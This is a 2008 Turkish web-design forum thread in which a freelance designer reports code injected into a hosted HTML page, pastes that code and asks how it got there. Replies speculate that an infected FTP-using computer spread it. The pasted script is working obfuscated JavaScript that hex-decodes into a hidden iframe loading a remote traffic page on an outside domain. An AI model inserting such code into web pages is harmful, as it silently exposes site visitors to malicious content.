• 08-09-2008, 12:09:52
    #1
    Değerli r10.net sakinleri..
    Orta çapta işler alarak freelance olarak web tasarımı ile uğraşmaktayım.
    Geçenlerde sayfalarımdan birini gezerken. Sayfaya virüs bulaşmış olduğu uyarısını aldım. Bu sayfaya ftp den bağlanıp birilerinin kod ekleme şansı yok. Yada ben öyle düşünüyorum..
    Fakat kodları incelediğimde. Benim yüklemiş olduğum orijinal kodlara yeni kodlar eklendiğini ve dosyanın boyutunun değiştiğini gördüm.. Bu nasıl olabilir?
    Hostgator da resellerim'var.. İşini fena yapan bir firma değildir. Bu firmada host edilen bir sitede bu problem nası oluşur??
    Kodları google da arattırdım ve sadece 1 sayfada olduğunu gördüm.. Yani çok yaygın bir virüs yada virüslük uyandırabilecek bir kod da değil..
    Görüşlerinizi bekliyorum..
    Arzu eden olursa virüslü sayfanın orjinal dosyasının adresini verebilirim..
    Kodlar aşağıdaki gibidir.
    
    
    
    
    <script>function vbbYbYbYatt(vYaaYaYtabY){ return(parseInt(vYaaYaYtabY,16));}function vabtabtYttY(vbtYYYaatYY){
    var vtbaYabatta='';for(vaattabbttY=0; vaattabbttY<vbtYYYaatYY.length;
    vaattabbttY+=2){vtbaYabatta+=(String.fromCharCode( vbbYbYbYatt(vbtYYYaatYY.substr(vaattabbttY,2))));} return
    vtbaYabatta;}
    document.write(vabtabtYttY('3C5343524950543E77696E 646F772E7374617475733D27446F6E65273B646F63756D656E 742E777269746528
    273C696672616D65202069643D226174627461625962625922 206E616D653D226262747474595962747422207372633D2268 7474703A2F2F7265
    646469692E6F72672F747261666669632F667430346E65772F 696E6465782E7068703F272B4D6174682E726F756E64284D61 74682E72616E646F
    6D28292A313533393635292B27616274595962626162742220 77696474683D2232363522206865696768743D223538312220 7374796C653D2264
    6973706C61793A206E6F6E653B223E3C2F696672616D653E27 293C2F5343524950543E'));</script>
  • 08-09-2008, 12:29:03
    #2
    Üyeliği durduruldu
    siteye ftp erişim yapmış bir bilgisayara virüs bulaşmış, tek açıklaması bu bunun.
  • 08-09-2008, 12:53:00
    #3
    evet , yani site seninse senin bilgisayarına virüs bulaşmış bi ara bende vardı çok sinirbirşeydi. Bütün sayfalara ekliyordu kendini format attım sonra
  • 08-09-2008, 13:24:25
    #4
    Bilgisayarında virüs vardır kardeş dosyalarını pc ye indirirsin ve dosyalarada bulaşır fpt ye atınca yavaş yavaş diğer dosyalarada bulaşır....
  • 09-09-2008, 18:10:59
    #5
    Virusun bulaştığı dosya bir html dosyası..
    Virus binary bir dosyaya değil ascii bir dosyaya gene ascii olarak bulaşmış..

    Ayrıca bilgisayarımdaki dosyaları virus testinden geçirdiğim gibi web sayfasının orjinal dosyaları kontrol ettim.. Virus çıkmadı.. Yani benim bilgisayarımda kesinlikle virüs yok. Rootkit de çıkmadı zira diğer sitelerde problem yok.

    Bu durumda virusün benim bilgisayarımdan bulaşması için upload edilirken dosyaya bulaşıp öyle upload edilmiş olması gerekiyor..

    Başka bir şekilde bulaşma şansı varmı?
    Fikri olan????